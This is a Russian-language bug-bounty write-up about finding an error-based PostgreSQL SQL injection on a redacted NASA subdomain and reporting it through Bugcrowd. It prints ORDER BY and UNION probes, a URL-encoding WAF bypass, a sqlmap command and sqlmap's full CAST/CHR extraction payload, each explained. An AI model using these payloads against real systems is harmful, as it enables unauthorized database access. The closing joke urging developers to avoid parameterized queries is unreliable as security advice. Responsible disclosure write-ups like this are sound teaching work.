Как я нашел свой первый баг: SQL-инъекция в NASA

от автора

Я начал заниматься баг-баунти три недели назад. Мой изначальный подход, основанный на прочитанной информации, заключался в том, чтобы искать уязвимости в VDP (программах раскрытия уязвимостей), чтобы получить приглашение в частные программы и избежать жесткой конкуренции, как в публичных программах.

Однако мне хотелось получить что-то взамен за свое время, ведь его у меня не так много. После того как я увидел, как несколько багхантеров делятся своими благодарственными письмами от NASA в X, я поставил себе новую цель…

Я знал, что это, наверное, самая сложная VDP-программа для старта, ведь все хакеры хотят получить это благодарственное письмо (LOR). На сегодняшний день в этой VDP уже зарегистрировано 7 тысяч уязвимостей!

После двух недель работы (~12 часов поиска уязвимостей) я отправил несколько отчетов о багах. Однако, так как я был новичком в баг-баунти, я не знал, какие уязвимости имеют минимальное влияние (руководствовался VRT Bugcrowd). Поэтому я сообщал о вещах вроде Open Redirect на основе Host Header Injection (P5) и Base href tag hijacking (P5).

Я изучил NASA VDP Crowdstream и заметил, что многие принимаемые баги связаны с раскрытием информации, например, индексацией PDF и XLS файлов, найденных с помощью «доркинга». Я тоже нашел кое-что подобное, но хотел большего, чем просто раскрытие PDF-файлов, чтобы получить благодарственное письмо, поэтому я не сообщал об этих багах.

В этот момент я остановился и понял, что нужно менять подход. Я больше не собирался искать уязвимости уровня P5 (ведь для LOR требуется как минимум P4). Пришлось усовершенствовать свою методологию.

Изменение

Я создал инструмент для улучшения своей методологии поиска уязвимостей — OhMyBounty.  Это инструмент для исследователей в области безопасности, позволяющий отслеживать программы Bug Bounty (в настоящее время только на Bugcrowd). Он уведомляет пользователей об изменениях в области охвата, новых отчетах из CrowdStream, а также отслеживает недавно обнаруженные поддомены, оповещая о появлении новых.

По сути, я запускаю свои любимые инструменты для обнаружения поддоменов и сохраняю файлы в пользовательский каталог.

OhMyBounty обрабатывает эти файлы, сравнивает их с базой данных MySQL, и если какой-либо из моих инструментов обнаруживает новый поддомен, я получаю мгновенное уведомление. Итак, я настроил пользовательские cron-задачи для перечисления поддоменов на своем VPS и позволил машине выполнять всю работу.

Таким образом, если появляется новый поддомен NASA, я получу уведомление и смогу начать поиск там, прежде чем это сделают другие исследователи.

Дополнительно: я использую healtcheck.io, чтобы следить за своими cron-задачами и получать уведомления, когда какая-либо из них перестает работать.

Баг

Несколько дней назад я работал над университетским проектом, когда получил новое уведомление.

Я прекратил учебу и сразу же отправился искать на redacted.com.

Я использовал waybackurls, чтобы получить эндпоинты (katana тоже хорошо справится):

waybackurls redacted.nasa.gov > wayback.txt

После 2 часов имитации бурной деятельности, я понял, что потратил 2 часа впустую.

Я уже собирался оставить это и вернуться к учебе, но один эндпоинт привлек мое внимание:

redacted.com/task/uuid

Я перешел по этому URL и увидел CSS сообщение, сообщающее мне, что эта задача мне не принадлежит, причем там отображался UUID из URL.

Даже несмотря на то, что Wappalyzer показал, что фронтенд был на Angular и реализовать RXSS в современных фреймворках сложно, я проверил стандартную RXSS-нагрузку:

https://redacted.com/task/uuid">

Вот тут начинается самое интересное. RXSS не сработал (как все и ожидали 🫠), вместо этого в интерфейсе появилась ошибка приведения типов SQL.

ERROR: invalid input syntax for type uuid: …

Найти видимую SQL-ошибку для баг-хантера — это как найти золотую жилу.

Из-за синтаксиса ошибки я понял, что стоящая за этим система управления базами данных — PostgreSQL.

Я представил, что запрос за кулисами выглядит примерно так:

SELECT * FROM TASKS WHERE ID = 'badTrustedUserInputThatWillBeHacked';

Поэтому я быстро перешел в Burp Suite и отправил нагрузку наподобие:

' order by N --

Это типичная нагрузка, используемая для определения количества колонок в таблице, для выполнения union-based SQLi.

Когда запрос завершается ошибкой, это означает, что в таблице N-1 колонок.

На что Cloudfront ответил

Типичный самонадеянный WAF, который пытается блокировать атаку.

WAF’ы — это просто REGEX, так как их обойти?

Просто. Нагрузка сработала в браузере, потому что современные браузеры (нет, не IE, пожалуйста, не пользуйтесь им) автоматически URL-кодируют все нагрузки при отправке на сервер.

Поэтому я просто применил URL-кодирование, чтобы имитировать поведение браузера, на что Cloudfront ответил:

Итак, я понял, что мое N равно 3, следовательно, таблица имела 2 столбца.

Затем я начал составлять нагрузку так, чтобы перехватить запрос:

' UNION SELECT null, version() --

Превращая запрос во что-то вроде этого:

SELECT * FROM TASKS WHERE ID = 'randomUUID' UNION SELECT null, version() -- ';

Проблема

Я знал, что существует Union-based SQLi, однако я не мог ее эксплуатировать. Позволь объяснить… При выполнении UNION запроса в SQL выбранные столбцы в вредоносном запросе (null, version()) должны иметь типы данных, совместимые с типами данных, используемыми в исходном запросе.

Например:

SELECT column1, column2 from TABLE1 union select column1, column2 from TABLE2;

Здесь column1 и column2 из TABLE2 должны быть совместимы по типу данных с column1 и column2 из предыдущего запроса (TABLE1).

Если первый column1 имеет тип TEXT, то второй column1 должен быть того же типа или совместимым.

    INTEGER & BIGINT = 💘 (совместимы)

    TEXT & VARCHAR = 💘 (совместимы)

    INTEGER & TEXT = 💔 (несовместимы)

В моем случае:

    UUID & любой тип = 💔

    JSONB & любой тип = 💔

Тип NULL действует как универсальный заменитель, но нет смысла извлекать значения NULL. Он используется, чтобы запрос выполнялся без ошибок.

Поскольку в таблице были типы UUID и JSONB, я не мог извлечь данные, т.к. не мог преобразовать, например, TEXT в UUID. Бэкэнд возращал следующие ошибки:

DatatypeMismatch(\"UNION types jsonb and text cannot be matched\\nLINE 1: ...2-ae02-456b-8841-e9bc3fde8b4c' UNION SELECT null, version() ...\\n ^\\n\"

Как бы я мог продемонстрировать влияние этого SQLi, если я не смог извлечь текстовые данные из-за несовместимости типов преобразования в UUID или JSONB?

Просто, я не мог.

Мне не хватало уровня знаний, поэтому я переключился на другой метод —  Error-based SQLi.

Эксплуатация уязвимости

Заметьте, что я использую тот же тип SQL-инъекции — In-Band Injection, данные извлекаются через тот же канал связи, просто с использованием другого подхода.

Для тестирования Error-based SQL-инъекции я отправлял такие полезные нагрузки, как:

' AND (SELECT database()) --

Так бэкенд выдаст видимую ошибку, и в этой ошибке будет содержаться конфиденциальная информация, например, название базы данных.

Обычно я не люблю автоматизированные инструменты и стараюсь выполнять все вручную, но мне нужно было вернуться к учебе. Поэтому я сохранил заголовки запроса в файл req и использовал SQLmap для выполнения финальной полезной нагрузки и получения данных, чтобы показать возможный ущерб.

sqlmap -r req --dbms=postgresql --dbs –random-agent

Всегда соблюдайте рамки программы. Вам не нужно взламывать учетные данные администратора или красть пароли других пользователей, получение минимальной информации из базы данных уже достаточно, чтобы показать уровень воздействия, в данном случае — критический (высший).

В других программах я мог бы попытаться использовать SQL-инъекцию (SQLi), чтобы достичь выполнения кода на стороне сервера (RCE) с помощью составных запросов или даже локального включения файлов (LFI). Однако рамки программы NASA не допускают такого типа тестирования, а критичность и так была на высшем уровне, поэтому я просто остановился на этом.

Финальный SQLmap-запрос:

' AND 4983=CAST((CHR(113)||CHR(106)||CHR(112)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (4983=4983) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(106)||CHR(122)||CHR(113)) AS NUMERIC) AND 'OjUB'='OjUB

Понимание полезной нагрузки

Это нагрузка для инъекции на основе ошибок. В этом типе in-band инъекции backend откликается ошибкой с описанием проблемы. Это позволяет перебирать ошибки и извлекать данные с каждым ответом.

Мы будем использовать что-то вроде:

SELECT * FROM users WHERE username = '' AND 4983=...

А с другой стороны от знака равенства мы поставим:

CAST((CHR(113)||CHR(106)||CHR(112)||CHR(98)||CHR(113) payload CHR(113)||CHR(106)||CHR(112)||CHR(98)||CHR(113)) AS NUMERIC)

CHR() — это функция в PostgreSQL, которая принимает целое число и преобразует его в его ASCII. Обычно она используется для обхода WAF (Web Application Firewall).

Это не обязательно, так как этот WAF дружелюбен.

Но SQLMap все равно ее использует, преобразования будут следующими:

SELECT CHR(65); -- Returns 'A'

SELECT CHR(97); -- Returns'a'

SELECT CHR(48); -- Returns'0'

SELECT CHR(113)||CHR(106)||CHR(112)||CHR(98)||CHR(113); -- Returns'qjpbq'

Затем оператор:

(SELECT (CASE WHEN (4983=4983) THEN 1 ELSE 0 END))

Просто возвращает 1. Таким образом, окончательная строка будет:

'qjpbq' '1' 'qjjzq' --> 'qjpbq1qjjzq'

Эта 1 — место, куда мы собираемся вставлять наши запросы. Когда произойдет ошибка, данные между qjpbq и qjjzq — это то, что мы будем искать.

Например:

' AND 4983=CAST((CHR(113)||CHR(106)||CHR(112)||CHR(98)||CHR(113))||(SELECT datname FROM pg_database LIMIT 1)::text||(CHR(113)||CHR(106)||CHR(106)||CHR(122)||CHR(113)) AS NUMERIC) AND 'OjUB'='OjUB

А для людей:

' AND 4983= SELECT CAST(

  'qjpbq' (SELECT datname FROM pg_database LIMIT 1)::text 'qjjzq'

AS NUMERIC);

Это вызовет ошибку, из-за попытки привести текст вида ‘qjpbqRESULTqjjzq’ в число. В сообщении об ошибке мы увидим вывод между qjpbq и qjjzq, который содержит результат запроса, в данном случае имя базы данных.

Обратите внимание, что разделители необходимы, чтобы SQLMap мог определить, где извлекать информацию об ошибке. Если бы мы эксплуатировали это вручную, можно было бы убрать разделители.

Вот как это выглядело:

Template0 — это база данных по умолчанию в PostgreSQL.

SQLMap продолжит внедрять подзапросы в полезную нагрузку и извлекать информацию между разделителями. Это позволяет постепенно собирать данные, вызывая ошибки и анализируя ответы.

Влияние

SQL-инъекция (SQLi) позволяет злоумышленнику получить доступ к базам данных, украсть конфиденциальную информацию, выполнять вредоносные запросы и манипулировать данными. Это может привести к выгрузке базы данных, боковому перемещению, повышению привилегий, а в худшем случае — к удаленному выполнению кода (RCE) или эксплуатации уязвимостей LFI, что ставит под угрозу безопасность всей системы.

Например, когда вы получаете электронное письмо от компании с сообщением о том, что ваши данные были скомпрометированы в результате киберинцидента, скорее всего, злоумышленник использовал SQLi для выгрузки базы данных компании и теперь продает ее на черном рынке тем, кто предложит наивысшую цену.

Отчет

Я отправил отчет, и команда Bugcrowd быстро занесла его в список на рассмотрение с самым высоким приоритетом — P1 (Критический).

Что мне нравится в критических уязвимостях, так это то, что их быстро рассматривают и исправляют из-за их значительного влияния.

Через несколько дней команда безопасности NASA приняла баг.

Одно из лучших ощущений — это получить уведомление от бота OhMyBounty о том, что новый отчет принят, и увидеть, что это мой отчет.

Заключение

SQLi не вымерли как динозавры, продолжайте искать их, и вы обязательно их найдете.

Продолжайте заниматься взломом, даже когда чувствуете усталость. Помните, что Bug bounty — это не гонка, это марафон.

Надеюсь, вам понравилась статья.

Если вы бэкенд-разработчик или администратор базы данных, пожалуйста, не используйте параметризованные запросы, чтобы мы могли выполнить наши SQL-инъекции и получить критические уязвимости.

Ещё больше познавательного контента в Telegram-канале — Life-Hack — Хакер


ссылка на оригинал статьи https://habr.com/ru/articles/895530/